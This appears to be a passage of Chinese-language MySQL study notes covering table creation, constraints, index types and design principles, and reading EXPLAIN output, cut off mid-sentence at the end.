由于索引需要额外的维护成本,索引文件是单独存在的文件,所以对数据的增加修改删除都会产生额外的对索引文件的操作,这些操作需要消耗额外的IO,会降低增/改/删的执行效率。所以删除数据库百万级别数据的时候,删除数据的速度和创建的索引数量是成正比的。所以想要删除百万数据的时候可以先删除索引(此时大概耗时三分多钟),然后删除其中无用数据,此过程需要不到两分钟,删除完成后此时数据较少了重新创建索引,创建索引也非常快,约十分钟左右。与之前的直接删除绝对是要快速很多,更别说万一删除中断,一切删除会回滚,那更是坑了。
CREATE
创建数据库 create database db_name create database my_db01 default character set utf8mb4 collate utf8mb4_general_ci CREATE DATABASE testdb charset utf8mb4 COLLATE utf8mb4_unicode_ci; 创建数据表 表的命名: 使用有意义的英文词汇,词汇中间以下划线分割,全部采用小写 表建议包含一个状态标记字段来标识数据是否被删除,而不使用物理删除;比如示例表字段status 所有表、字段都应该有comment来描述表、字段所代表的含义 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) create table if not exists table_name ( 列名1 数据类型,列名2 数据类型,…… ) 有四种方式进行判断数据表是否已经存在 1.show tables like 'user'; show tables like '%user%'; // 判断user表是否存在当前数据库中 2.select table_name from information_schema.tables where table_schema='dbname' and table_name='tablename' ; 3.create table if not exists tablename // 表不存在就建立这个表,不需要先去查询表是否存在 4.create table if not exists like old_table_name; // 从模板表创建表,create table if not exists 'user1' like 'during.user'; 5.select * into table_new from table_old // 根据已有的旧表创建新表 【 drop数据库和表 】 drop database dbname drop table if exists member drop table if exists member,name truncate table member //清除数据表数据【 规范格式 】
创建Constraints约束,用于限制加入表的数据的类型
【 default 】
向列中插入默认值
【 NOT NULL 】
不接受null值,强制字段始终包含值,不向字段添加值则无法插入更新记录,常和default配用
尽量不要允许NULL,尽量将表字段定义为NOT NULL约束,由于在MySQL中含有空值的列很难进行查询优化,NULL值会使索引及索引的统计信息变得很复杂,NULL并不是空值,也会占用空间,所以在MySQL进行比较时,NULL会参与字段比较,所以对效率有一部分影响,可以使用DEFAULT 0或空字符串来提供默认值
尽量避免在where子句中使用!=或<>操作符或对字段进行null值判断,否则将引擎放弃使用索引而进行全表扫描。
select id from t where num is null
可以在num上设置默认值0,确保表中num列没有null值,然后这样查询:
select id from t where num=0
【 auto_increment 】
在新记录插入表中时生成一个唯一的数字
自增字段要慎用,不利于数据迁移
【 CHECK 限制列中的值的范围 】
mysql所有存储引擎均不支持check约束,MySQL会对check子句分析,但插入数据时会忽略,因此check并不起作用,因此实现对数据约束有两种方法:
1.在mysql约束,如使用enum类型或触发器等。
2.在应用程序里面对数据进行检查再插入。
CHECK [表达式]
[表达式]指SQL表达式,用于指定需要检查的限定条件。
若将CHECK约束子句置于表中某个列的定义之后,则这种约束也称为基于列的CHECK约束
check (uid>0)
constraint chk_Person check (Id_P>0 and City='Sandnes') // 命名CHECK约束,对多个列约束
alter table user add check (ID>0) // 限制值的范围
alter table user add constraint chk_Person check (Id_P>0 and City='Sandnes') // 命名CHECK约束,对多个列约束
alter table Persons drop check chk_Person // 撤销CHECK约束
【 PRIMARY KEY,主键自动非空,可以不指定not null 】
为每条记录提供唯一性的标志,拥有自动定义的UNIQUE约束,每个表都应该有且只能有一个主键
除了可以做到not null unique之外,主键字段还默认添加索引index
primary key(uid),
constraint pk_personID primary key (uId_p,name) // 命名主键约束并定义多个列的主键约束
alter table Persons add primary key (uid), // 在uid列创建PRIMARY KEY约束
alter table Persons add constraint pk_personID primary key (uId_p,name) // 命名主键约束并定义多个列的主键约束
alter table Persons drop primary key // 撤销主键
表必须有无符号int型自增主键,对应示例表中id字段
必须得有主键的原因: 采用RBR模式复制,无主键的表删除,会导致备库夯住
使用自增的原因: 数据写入可以提高插入性能,避免page分裂,减少表碎片
给一个字段添加一个主键约束称为单一主键;给多个字段联合添加一个主键约束称为复合主键,无论是单一还是复合,一张标只能有一个主键约束
之前一直认为主键的值是不能相同的,但当有2个主键或以上的时候可以有些主键是相同的
mysql> create table user( id int(10), name varchar(32), primary key(id ,name));
mysql> create table user( id int(10), name varchar(128), constraint user_id_name_pk primary key(id ,name)); 给复合主键起名
mysql> desc user;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id | int(10) | NO | PRI | NULL | |
| name | varchar(32) | NO | PRI | NULL | |
+-------+-------------+------+-----+---------+-------+
【 UNIQUE 】
为每条记录提供唯一性的标志,索引,每个表可以有多个
unique (name)
unique (`title`), // 非命名索引
unique key `uniq_username`(`username`), // 命名索引
constraint uc_personID unique (Id_p,name) // 命名unique约束并定义多个列的UNIQUE约束
alter table Persons add unique (name), // 在name列创建UNIQUE约束
alter table Persons add constraint uc_personID unique (ID,name) // 命名unique约束,并定义多个列的unique约束
alter table Persons drop index uc_personID
alter table Persons drop index // 撤销unique约束
【 FOREIGN KEY 外键 】
一个表中foreign key指向另一个表中的主键,用于预防破坏表之间的链接动作
防止非法数据插入外键列,因为它必须是它指向的那个表中的值之一
外键的作用:
保持数据一致性和完整性的机制,对业务处理有着很好的校验作用,主要目的是控制存储在外键表中的数据,使两张表形成关联,外键只能引用外表中的列的值
缺点: 在对MySQL做优化的时候类似查询缓存、索引缓存之类的优化对InnoDB类型的表是不起作用的,还有在数据库整体架构中用得同步复制也是对InnoDB类型的表不生效的,像数据库中核心的表类似商品表尽量不要是使用外键,如果同步肯定要同步商品库的,加上了外键也就没法通不了,优化也对它没作用,岂不得不偿失,做外键的目的在于保证数据完整性,通过程序来实现这个目的而不是外键
建立外键的前提:
两个表必须是InnoDB表类型
使用在外键关系的域必须为索引型(Index)
使用在外键关系的域必须与数据类型相似
尽量避免使用外键
外键是用于保证数据的参照完整性,但建议在业务端实现。
MySQL外键会建立索引
不建议使用外键约束
表与表之间的关联键建立索引是必须的
外键会影响父表和子表的写操作而降低性能(检查约束导致的)
创建的步骤
指定主键关键字: foreign key(列名)
引用外键关键字: references [外键表名](外键列名)
事件触发限制:on delete和on update ,可设参数cascade(跟随外键改动),restrict(限制外表中的外键改动),set Null(设空值),set Default(设默认值),[默认]no action
on delete/update的外键联动操作 update/delete_rule类型:
1、cascade:从父表中删除或更新对应的行,同时自动删除或更新子表中匹配的行。on delete canscade和on update canscade都被innodb所支持
2、set null:从父表中删除或更新对应的行,同时将子表中的外键列设为空,这些在外键列没有被设为not null才有效。on delete set null和on update set set null都被innodb支持
3、no action:innodb拒绝删除或更新父表
4、restrict:拒绝删除或更新父表,指定restrict或no action和忽略on delete或on update选项的效果是一样的
foreign key (uid) references group (uid),
constraint fk_personID foreign key (uid) references group(uid),
alter table admin add constraint fk_personID foreign key (uid) references group(uid) // 命名FOREIGN KEY约束并定义多个列的FOREIGN KEY约束
alter table admin add foreign key (uid) references group(uid) // 创建foreign key约束
alter table admin drop foreign key fk_PerOrders // 撤销foreign key约束
添加外键
alter table B add constraint `bfk` foreign key ('fk_column_name') references A('column_name') on delete no action on update no action;
删除外键
alter table B drop foreign key `bfk`;
创建含有外键的表: 把id列设为外键,参照外表outTable的id列,当外键的值删除表中对应的列筛除,当外键的值改变本表中对应的列值改变1、表引擎必须为InnoDB,MyISAM不支持 2、所有要建立外键的字段必须建立索引,可以为普通、主键、唯一,事先不建立的话会自动创建一个普通索引,要用的外键和参照的外表的键,即 alter table B add constraint `b_foreign_key_name` foreign key (`bfk`) references A(`afk`) on delete no action on update no action; 这里b_foreign_key_name为外键名,bfk字段和afk字段都必须存在索引 3、外表为约束表,约束着含有外键的被约束表,即B含有一个以A作为参考表的外键,则A为主B为从,若关联on delete on update等动作则A变更B会被变更,B怎样变A不必跟随变动,且表A中必须事先存在B要插入的数据外键列的值,列如B.bfk作为外键参照A.ak,则B.bfk插入的值必须是A.ak中已存在的 若B有以A作为参照的外键,则B中的此字段的取值只能是A中存在的值,从表B会实时受到主表A的约束,同时若关联on delete on update等操作则当A中的被参照的字段发生delete或update时,B中的对应的记录也会发生delete或update操作,完整性
如果表和表之间建立的外键约束则无法删除表及修改表结构 [Err] 1451 -Cannot delete or update a parent row: a foreign key constraint fails 解决方法是在Mysql中取消外键约束:SET FOREIGN_KEY_CHECKS=0; 然后将原来表的数据导出到sql语句,重新创建此表后,再把数据使用sql导入, 然后再设置外键约束: SET FOREIGN_KEY_CHECKS=1;
mysql索引
mysql索引是帮助mysql高效获取数据的数据结构,可以简单理解为排好序的快速查找数据结构
索引是一种特殊的文件,它们包含着对数据表里所有记录的引用指针,能快速定位,InnoDB数据表上的索引是表空间的一个组成部分
索引就一种特殊的查询表,数据库的搜索引擎可以利用它加速对数据的检索,很类似与现实生活中书的目录,不需要查询整本书内容就可以找到想要的数据。索引可以是唯一的,创建索引允许指定单个列或多个列
优点
加快数据的查询速度,提高数据检索的效率
唯一索引,可以保证数据库表中每一行数据的唯一性
在实现数据的参考完整性方面,可以加速表和表之间的连接
在使用分组和排序子句进行数据查询时,也可以显著减少查询中分组和排序的时间,降低数据排序的成本
通过使用索引,可以在查询的过程中,使用优化隐藏器,提高系统的性能
缺点
索引需要额外的维护成本,因为索引文件是单独存在的文件,对数据的增加、修改、删除都会产生额外的对索引文件的操作,这些操作需要消耗额外的IO,会降低增/改/删的执行效率
占用磁盘空间,除了数据表占数据空间之外,每一个索引还要占一定的物理空间,如果有大量的索引,索引文件可能比数据文件更快达到最大文件尺寸(合理运用,问题不大)
【 索引的基本原理 】
索引用来快速地寻找那些具有特定值的记录。如果没有索引,一般来说执行查询时遍历整张表。
索引的原理很简单,就是把无序的数据变成有序的查询
索引并不一定就是给主键或是唯一的字段,如果在表中有某个字段总要会经常用来做搜索如where和order by,那么最好是为其建立索引,除非要搜索的字段是大的文本字段,那应该建立全文索引。
1、把创建了索引的列的内容进行排序
2、对排序结果生成倒排表
3、在倒排表内容上拼上数据地址链
4、在查询的时候,先拿到倒排表内容,再取出数据地址链,从而拿到具体数据
【 索引的数据结构(b树,hash) 】
MySQL中索引的存储类型有两种: BTREE和HASH,具体和表的存储引擎相关;
MyISAM和InnoDB存储引擎只支持BTREE索引,MEMORY/HEAP存储引擎可以支持HASH和BTREE索引。
1)B树索引
mysql通过存储引擎取数据,按照实现方式分,InnoDB的索引类型目前只有两种: BTREE(B树)索引和HASH索引。B树索引是Mysql数据库中使用最频繁的索引类型,基本所有存储引擎都支持BTree索引
查询方式:
主键索引区:PI(关联保存的时数据的地址)按主键查询,
普通索引区:si(关联的id的地址,然后再到达上面的地址)。所以按主键查询,速度最快
B+tree性质:
1.)n棵子tree的节点包含n个关键字,不用来保存数据而是保存数据的索引。
2.)所有的叶子结点中包含了全部关键字的信息,及指向含这些关键字记录的指针,且叶子结点本身依关键字的大小自小而大顺序链接。
3.)所有的非终端结点可以看成是索引部分,结点中仅含其子树中的最大(或最小)关键字。
4.)B+ 树中,数据对象的插入和删除仅在叶节点上进行。
5.)B+树有2个头指针,一个是树的根节点,一个是最小关键码的叶节点。
2)哈希索引
类似于数据结构中简单实现的HASH表(散列表)一样,在mysql中用哈希索引时主要就是通过Hash算法(常见的Hash算法有直接定址法、平方取中法、折叠法、除数取余法、随机数法),将数据库字段数据转换成定长的Hash值,与这条数据的行指针一并存入Hash表的对应位置;如果发生Hash碰撞(两个不同关键字的Hash值相同),则在对应Hash键下以链表形式存储
【 索引分类 】
MYSQL索引有四种PRIMARY、INDEX、UNIQUE、FULLTEXT,其中PRIMARY、INDEX、UNIQUE是一类,FULLTEXT是一类
PRIMARY:
主键索引。索引列唯一且不能为空;一张表只能有一个主键索引,主键索引通常在建表的时候就指定
主键用于对表中的行进行唯一定位标识。每个主键值在表中必须是唯一的,主键字段不能为空,这是由于数据库引擎需要一个值来对记录进行定位
1、普通索引和唯一索引
普通索引: 数据库中的基本索引类型,允许在定义索引的列中插入重复值和空值
一个值只有0和1的字段,到底要不要建索引
如果表里面这个字段的值分布极度不均匀的情况下,而且需要查询分布较少的记录的话,索引就非常有用了
举个例子,假设表中有一千万条记录,某个状态为0的记录总数大概会有100条,那么想查询状态为0的记录时,有没有索引影响非常大,而查询状态为1的记录,则索引基本无用。如果两种状态的记录数相差无几的话,索引也基本无用。需要查询的记录恰好是分布较少的记录的时候,值分布越是不均匀,索引就越有价值!
索引的本质就是排序,因为大家都排好了队,所以一样的数据都依次排在一块了。这个时候就像奥运会开幕式入场的运动员们一样,中国队、美国队、德国队等,队长都举着自己国家的小牌子,让人远远地就能看到那个瑞典队在什么地方(有索引)。这个时候,你要采访瑞典队,直接跑过去就行了。当散场后你再想去餐厅找瑞典队采访(没有索引),估计就得按个问过去:兄弟,你是不是瑞典队的?等你找到采访对象,还是算了吧,人家都吃完饭走人了(查询超时)
二值的情况下,形象点说,就是你在上海人民广场找人,看你找的是中国人还是外国人。找10个中国人很简单,基本上是逮着一个算一个。但要找10个外国人就比较费时间了,这个时候如果大家都排队,中国人排前面,外国人排后面,你就可以直奔队伍的末尾去喊上10个外国人了。
Unique:
唯一索引。索引列的值必须是唯一的,但允许有空,主键索引是一种特殊的唯一索引,不允许有空值(比如自增ID)
约束唯一标识数据库表中的每一条记录,即在单表中不能用每条记录是唯一的(例如身份证就是唯一的),Unique和 Primary Key约束均为列或列集合中提供了唯一性的保证,Primary Key是拥有自动定义的Unique约束,但每个表中可以有多个Unique约束,但只能有一个Primary Key约束
2、单列索引和组合索引(联合索引)
单列索引: 即一个索引只包含单个列,一个表可以有多个单列索引
组合索引: 指在表的多个字段组合上创建的索引,只有在查询条件中使用了这些字段的左边字段时索引才会被使用
alter table user add index `idx_composition` (`nickname`,`company`);
CREATE TABLE `test` ('aaa' varchar(16) NOT NULL default '', 'bbb' varchar(16) NOT NULL default '', 'ccc' int(11) UNSIGNED NOT NULL default 0, KEY `sindex` (`aaa`,`bbb`,`ccc`) ) ENGINE=MyISAM COMMENT='';
alter table fa_weizhang add unique index(car_id,time); 联合唯一索引
建立组合索引,必须把区分度高的字段放在前面
复合索引是有顺序的
例如,user表里有id,name,sex三个字段,并且创建了name+sex的复合字段。
select* from user where name=x and sex=x; // 允许使用上面的复合索引的。
select* from user where name=x; // 允许使用上面的复合索引的。
select* from user where sex=x and name=x; // 不允许使用,复合索引有顺序就是指这个意思。
select* from user where sex=x; // 不允许使用索引
当创建一个联合索引的时候,如(k1,k2,k3),相当于创建了(k1)、(k1,k2)和(k1,k2,k3)三个索引,这就是最左匹配原则。
比如下面的语句就不会命中索引:
select * from t where k2=2;
select * from t where k3=3;
slect * from t where k2=2 and k3=3;
下面的语句只会命中索引(k1):
slect * from t where k1=1 and k3=3;
复合索引是遵循向左原则的,只要在查询的时候,是按照复合索引从左到右的顺序依次查询
不管查询条件是否完全满足所有的符合索引的列,都可以使用部分的符合索引;
选择哪些列创建索引?
1.查询较为频繁的字段应该创建索引;
2.唯一性太差的字段不应该创建索引,就算这个字段经常作为查询条件;
3.更新频繁的字段不应该创建索引,索引是需要维护成本的;
4.有where条件时才会走索引,所以如果这个列不会作为where的查询条件,没有必要为这个字段创建索引;
不走索引的情况
在特殊的情况下,即使创建了索引,并且也在where加上了索引条件,查询过程中还是没有走索引
1.使用不等于(!= 或<>)的时候MySQL无法使用索引
2.like 后面的字符当首位为通配符时不走索引;如like "北%",这种情况是走索引的,like "%北",这种情况是不走索引的
3.索引字段 is null 不走索引;
4.索引字段前加了函数或参加了运算不走索引;
在一个市民信息表上,是否有必要将身份证号和名字建立联合索引?
CREATE TABLE `tuser` (
`id` int(11) NOT NULL,
`id_card` varchar(32) DEFAULT NULL,
`name` varchar(32) DEFAULT NULL,
`age` int(11) DEFAULT NULL,
`ismale` tinyint(1) DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `id_card` (`id_card`),
KEY `name_age` (`name`,`age`)
) ENGINE=InnoDB;
身份证号是市民的唯一标识,如果有根据身份证号查询市民信息的需求,只要在身份证号字段上建立索引就够了
如果有一个高频请求,要根据市民的身份证号查询他的姓名,这个联合索引就有意义了。它可以在这个高频请求上用到覆盖索引,不再需要回表查整行记录,减少语句的执行时间
3、全文索引
全文索引: 类型为FULLTEXT,在定义索引的列上支持值的全文查找,允许在这些索引列中插入重复值和空值。全文索引可以在CHAR、VARCHAR或TEXT类型的列上创建,MySQL中只有MyISAM存储引擎支持全文索引
Full Text:
表示全文收索,在检索长文本的时候效果最好,短文本建议使用Index,但在检索的时候数据量比较大的时候,现将数据放入一个没有全局索引的表中,然后在用Create Index创建的Full Text索引,要比先为一张表建立Full Text然后在写入数据要快的很多
【 高效使用索引的原则 】
对查询进行优化,应尽量避免全表扫描,首先应考虑在where及order by涉及的列上建立索引。
1、避免对经常更新的表设计过多的索引,并且索引中的列尽可能要少,而对经常用于查询的字段应该创建索引,但要避免添加不必要的字段
并不是所有索引对查询都有效,SQL是根据表中数据来进行查询优化的,当索引列有大量数据重复时,SQL查询可能不会去利用索引,如表中字段sex male、female几乎各一半,即使在sex上建了索引也对查询效率起不了作用
2、限制索引的数目:
索引并不是越多越好,索引固然可以提高相应的select的效率,但占用磁盘空间,同时也降低了insert、DELETE及update的效率,因为当表中的数据更改的同时索引也会进行调整重建和更新,所以怎样建索引需要慎重考虑,视具体情况而定。一个表的索引数最好不要超过6个,若太多则应考虑一些不常使用到的列上建的索引是否有必要。
数据量小的表最好不要使用索引,由于数据较少,查询花费的时间可能比遍历索引时间还要短,索引可能不会产生优化效果
定义有外键的数据列一定要建立索引
尽量的扩展索引,不要新建索引,比如表中已经有a的索引,现在要加(a,b)的索引,那么只需要修改原来的索引即可
3、选择唯一性索引:
使用唯一索引约束字段值唯一的数据,唯一索引以uniq_字段名方式命名;如表中的uniq_stu_num
当唯一性是某种数据本身的特征时,指定唯一索引。使用唯一索引需能确保定义的列的数据完整性,以提高查询速度
4、为常作为查询条件的字段建立索引:
在经常作为查询条件的字段上添加索引,普通索引以idx_字段名方式命名;如表中的idx_stu_score
5、为经常需要排序、分组和联合操作的字段建立索引:
在频繁排序或分组(即group by或order by操作)的列上建立索引,如果待排序的列有多个,可以在这些列上建立组合索引
6、尽量使用前缀来索引:
最左前缀匹配原则,组合索引非常重要的原则
经常同时出现在where条件中的几个字段可以放在联合索引中;如idx_update_time_tuition,应该把选择性更大的列放在联合索引的最左边
在使用索引字段作为条件时,如果该索引是复合索引,那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引,否则该索引将不会被使用,并且应尽可能的让字段顺序与索引顺序相一致
mysql会一直向右匹配直到遇到范围查询(>、<、between、like)就停止匹配,如a = 1 and b = 2 and c > 3 and d = 4 如果建立(a,b,c,d)顺序的索引,d是用不到索引的,如果建立(a,b,d,c)的索引则都可以用到,a,b,d的顺序可以任意调整。
7、尽量使用数据量少的索引
8、删除不再使用或很少使用的索引:
对于那些查询中很少涉及的列,重复值比较多的列不要建立索引
对于定义为text、image和bit的数据类型的列不要建立索引
若是不能有效区分数据的列不适合做索引列(如性别,男女未知,最多也就三种,区分度实在太低)
在条件表达式中经常用到的不同值较多的列上建立索引,在不同值较少的列上不要建立索引,比如性别字段只有男和女就没必要建立索引。如果建立索引不但不会提高查询效率,反而会严重降低更新速度
mysql时间字段不走索引_MySQL使用">="或"<="范围查询时不走索引
索引并不是总会起作用的,中间有查询优化器插足,它会判断一个查询SQL是否走索引查得更快,若是就走索引,否则做全表扫描。
createtime索引
explain SELECT id,nickname FROM `fa_user` WHERE createtime > 1616650778
id select_type table type possible_keys key key_len ref rows Extra
1 SIMPLE fa_user range createtime createtime 4 NULL 19 Using index condition
最近一个日志页面查询很慢,然后去跟踪了查询sql,发现日期字段上即使建了索引,查询还是很慢,执行语句还是使用了全表扫描,于是继续分析下去。
查询语句类似:
select * from logs where createtime >= '2020-01-01' ;
起初因为date上没检索,查询执行的是全表扫描,给条件字段createtime建上索引:
create index idx_createtime on logs(createtime);
再次执行:
expain select id, createtime from logs where createtime >= '2019-01-01' and createtime <= '2020-01-01';
查询执行的还是全表扫描
网上查询有说是因为在查询数据条数约占总条数五分之一以下时能够使用到索引,但超过五分之一时,使用全表扫描。于是把日期范围缩小:
expain select id, createtime from logs where createtime >= '2020-01-01' and createtime <= '2020-02-01';
果真查询执行的是range:
由此可知,在进行范围查询时比如:>、< 、>=、<=等, 如果数据量过大的话,即使where条件字段已经建立了索引,查询语句执行时还是有可能进行全表扫描的
【 索引的创建与删除 】
1、使用CREATE TABLE创建表的时候,除了可以定义列的数据类型,还可以定义主键约束、外键约束或唯一性约束,而不论创建哪种约束,在定义约束的同时相当于在指定列上创建了一个索引
创建表时可用INDEX字句或UNIQUE(字段值必须惟一)字句创建索引
如: 创建课程表course,课程编号cno字段为主键,课程名称cname字段创建一个名为can的索引
mysql> create table course(
cno varchar(5) not null,
cname varchar(30) not null,
teacher varchar(20),
primary key (cno),
index can (cname)
)engine=Innodb collate='utf8_general_ci';
普通索引
key `idx_create_time`(`create_time`) // 命名索引
index can (cname) // 命名索引
index (`create_time`), // 非命名索引
2、create index命令创建索引,可对表增加普通索引或unique索引,但不能创建primary key索引
create [unique ] index 索引名 on 表名称 (字段名1[(长度)]); // 向已存在的表添加索引
create [unique] index idxname on tabname(col….) // 创建索引
create index index_name on table_name (column_list);
create index memberindex on member (username) // 在表上创建一个简单的索引,允许使用重复的值
create index memberindex on member (username desc) // 以降序索引username列中的值
create index memberindex on member (username,age) // 索引多个列
create unique index index_name on table_name (column_list);
create unique index memberindex on member (username) // 在表上创建一个唯一的索引,意味着两个行不能拥有相同的索引值
对于类型为CHAR和VARCHAR的字段建立索引时还可指定长度值,类型为BLOB和TEXT的字段索引时必须指定长度值。
create index sna on student (sname(10));
3、ALTER TABLE用来创建普通索引、UNIQUE索引或PRIMARY KEY索引
column_list指出对哪些列进行索引,多列时各列之间用逗号分隔
索引名index_name可自己命名,缺省时MySQL将根据第一个索引列赋一个名称
ALTER TABLE允许在单个语句中更改多个表,因此可以在同时创建多个索引
alter table tablename add index index_name(column_list) // 普通索引,索引值可出现多次
alter table tablename add unique(column_list) // 创建的索引的值须是唯一的,null除外,null可能会出现多次
alter table tablename add primary key(column_list) // 添加一个主键,意味着索引值必须是唯一的且不能为null
alter table tablename add fulltext index_name(column_list) // 指定了索引为fulltext,用于全文检索
【 删除索引 】
删除索引,索引不可更改,想更改必须删除重建
DROP INDEX 索引 ON 表名称;
mysql> drop index sna on student;
mysql> alter table member drop index memberindex
查看及测试索引
1、查看当前表的索引情况 show index from customer1; table: 表示创建索引的表 Non_unique: 表示索引不是一个唯一索引,1表示非唯一索引,0表示唯一索引 Key_name: 表示索引的名称 Seq_in_index: 表示该字段在索引中的位置,单列索引改值该值为1,组合索引为每个字段在索引中定义的顺序 Column_name: 表示定义索引的列字段 Sub_part: 表示索引的长度 Null: 表示该字段是否能为空值 Index_type: 表示索引类型,如btree 2、使用EXPLAIN分析SQL语句是否使用了索引 工作中有时会开慢查询记录执行时间较久的SQL语句,然后用explain命令查看这些SQL语句的执行计划,有没有使用上了索引,有没有做全表扫描。所以深入了解MySQL的基于开销的优化器,还可以获得很多可能被优化器考虑到的访问策略的细节,及当运行SQL语句时哪种策略预计会被优化器采用 explain显示了mysql如何使用索引来处理select语句及连接表,可以帮助选择更好的索引和写出更优化的查询语句。 使用EXPLAIN关键字可以模拟优化器执行SQL查询语句,从而知道MySQL是如何处理SQL语句的,分析查询语句或是表结构的性能瓶颈。 ➤ 通过EXPLAIN可以分析出以下结果: 表的读取顺序 数据读取操作的操作类型 哪些索引可以使用 哪些索引被实际使用 表之间的引用 每张表有多少行被优化器查询 • EXPLAIN不会告诉你关于触发器、存储过程的信息或用户自定义函数对查询的影响情况 • EXPLAIN不考虑各种Cache • EXPLAIN不能显示MySQL在执行查询时所作的优化工作 • 部分统计信息是估算的,并非精确值 • EXPALIN只能解释SELECT操作,其他操作要重写为SELECT后查看执行计划 ➤ 使用方法 在select语句前加上explain explain select * from customer1 where customer_id = 1; explain delete from user where id > 10; expain信息有10列 id: 选择标识符 select_type: 表示查询的类型。 table: 指定数据库读取的数据表的名字,它们按照被读取的先后顺序排列 partitions: 匹配的分区 type: 表示表的连接类型,指定了本数据表与其他数据表之间的关联关系 possible_keys: 表示查询时可能使用的索引,MySQL在搜索数据记录时可选用的各个索引 key: 表示实际使用的索引 key_len: 索引字段的长度,给出了索引按字节计算的长度,key_len数值越小表示越快 ref: 列与索引的比较,提供了关联关系中另外一个数据表里的数据列的名字 rows: 指MySQL执行查询时预计从当前数据表中读出的数据行数(估算的行数) filtered: 按表条件过滤的行百分比 Extra: 执行情况的描述和说明, 提供了与关联操作有关的信息 示例表 CREATE TABLE `employee` ( `rec_id` int(11) NOT NULL AUTO_INCREMENT, `no` varchar(10) NOT NULL, `name` varchar(20) NOT NULL, `position` varchar(20) NOT NULL, `age` varchar(2) NOT NULL, PRIMARY KEY (`rec_id`) ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8 【 id 】 select查询的序列号,包含一组数字,表示查询中执行select子句或操作表的顺序 如果在语句中没子查询或关联查询,只有唯一的select,每行都将显示1,否则内层的select语句一般会顺序编号,对应其在原始语句中的位置 如果id值相同则则可以认为他们是同一分组,同一分组中执行顺序为从上到下,否则执行顺序为id值越大的越先执行,如果id值为null则表示这是一个结果集 【 select_type 】 表示查询的类型,主要用于区别普通查询、联合查询、子查询等的复杂查询。 SIMPLE 简单查询,无NUION、SUBQUERY的SELECT语句 PRIMARY 在复杂查询中最外层的SELECT语句 UNION 在联合查询中第二个和随后的SELECT语句,若第二个SELECT出现在UNION之后则被标记为UNION: 若UNION包含在FROM子句的子查询中,外层SELECT将被标记为: DERIVED DEPENDENT UNION 在联合查询中第二个和随后的SELECT语句,并且该SELECT语句依赖外层SELECT语句 UNION RESULT 联合查询的结果表,从UNION表获取结果的SELECT SUBQUERY 不在FROM子句中的子查询,在SELECT或WHERE列表中包含了子查询 DEPENDENT SUBQUERY 相关子查询 DERIVED 派生表,在FROM从句中的子查询,MySQL会递归执行这些子查询,把结果放在临时表中 MATERIALIZED 物化表(非关联子查询的一种优化类型) UNCACHEABLE SUBQUERY 无法缓存的子查询 UNCACHEABLE NUION 无法缓存的联合查询 【 table 】 查询访问的表名或别名 关联优化器会为查询选择关联顺序,左侧深度优先 当from中有子查询的时候,表名是derivedN的形式,N指向子查询,也就是explain结果中的下一列 当有union result的时候,表名是union 1,2等的形式,1,2表示参与union的query id MySQL对待这些表和普通表一样,但是这些"临时表"是没有任何索引的 【 type 】 查询使用了哪种类型,包含的类型包括如下几种,从最好到最差依次是: system > const > eq_ref > ref > range > index > all,一般查询至少达到range级别,最好ref ALL 全表扫描 index 索引全扫描 range 索引范围扫描,常用语<,<=,>=,between等操作 ref 使用非唯一索引扫描或唯一索引前缀扫描,返回单条记录,常出现在关联查询中 eq_ref 类似ref,区别在于使用的是唯一索引,使用主键的关联查询 const 单条记录,系统会把匹配行中的其他列作为常数处理,如主键或唯一索引查询 null MySQL不访问任何表或索引直接返回结果 不常见的类型 NULL 不需要访问表 system 表中只有一行记录或空表(等于系统表),只能用myisam和memory表,这是const类型的特列,平时不会出现,可以忽略不计 fulltext 全文索引查找 ref_or_null 与ref类型一致,只是增加了NULL的对比, unique_subquery 代替eq_ref针对IN子查询的优化,IN子句返回唯一索引,in的后面是一个查询primary key字段的子查询 index_subquery 与unique_subquery相似,但IN子句返回非唯一索引 index_merge 使用多个索引匹配查找,最终获取合并结果(交集AND 、并集OR) 1、ALL 全表扫描 如果展示一个数据表中的全部数据项也没什么,如果是在一个查找数据项的sql中出现了all类型,那通常意味着sql语句处于一种最原生的状态,有很大的优化空间。 因为all是一种非常暴力和原始的查找方法,非常的耗时而且低效。用all去查找数据就好比:学校有俩万人,为了找到小明把全校俩万人挨个找一遍,即使很幸运第一个人便找到了小明,但仍然不能停下,因为无法确认是否有另外一个小明存在,直到把俩万人找完为止。所以基本所有情况都要避免这样类型的查找,除非不得不这样做。 explain select * from employee where `no` = '20150001'; +----+-------------+----------+------+---------------+------+---------+------+------+-------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+----------+------+---------------+------+---------+------+------+-------------+ | 1 | SIMPLE | employee | ALL | NULL | NULL | NULL | NULL | 5 | Using where | +----+-------------+----------+------+---------------+------+---------+------+------+-------------+ 这是因为no列既不是主键也不是索引,因此只能采用全表扫描来查找目标no 2、index 全索引扫描 Index与All区别为index类型只遍历索引树,通常比ALL快,因为索引文件通常比数据文件小,虽然all和Index都读全表,但index是从索引中读取的,而all是从硬盘读取的 另外一种形式的全表扫描,只不过它的扫描顺序是按照索引的顺序。这种扫描根据索引然后回表取数据,和all相比,他们都是取得了全表的数据,而且index要先读索引而且要回表随机取数据,因此index不可能会比all快(取同一个表数据),但为什么官方的手册将它的效率说的比all好,唯一可能的原因在于,按照索引扫描全表的数据是有序的。这样一来结果不同,也就没法比效率的问题了。 如果一定要比效率,只需要获取这个表的数据并且排序便可以看出来谁比谁效率高了: mysql> explain select * from employee order by `no` ; +----+-------------+----------+------+---------------+------+---------+------+------+----------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+----------+------+---------------+------+---------+------+------+----------------+ | 1 | SIMPLE | employee | ALL | NULL | NULL | NULL | NULL | 5 | Using filesort | +----+-------------+----------+------+---------------+------+---------+------+------+----------------+ mysql> explain select * from employee order by rec_id ; +----+-------------+----------+-------+---------------+---------+---------+------+------+-------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+----------+-------+---------------+---------+---------+------+------+-------+ | 1 | SIMPLE | employee | index | NULL | PRIMARY | 4 | NULL | 5 | NULL | +----+-------------+----------+-------+---------------+---------+---------+------+------+-------+ 上面可以看出,根据no列排序的连接类型是all型的,但是注意extra列是用到了排序(Using 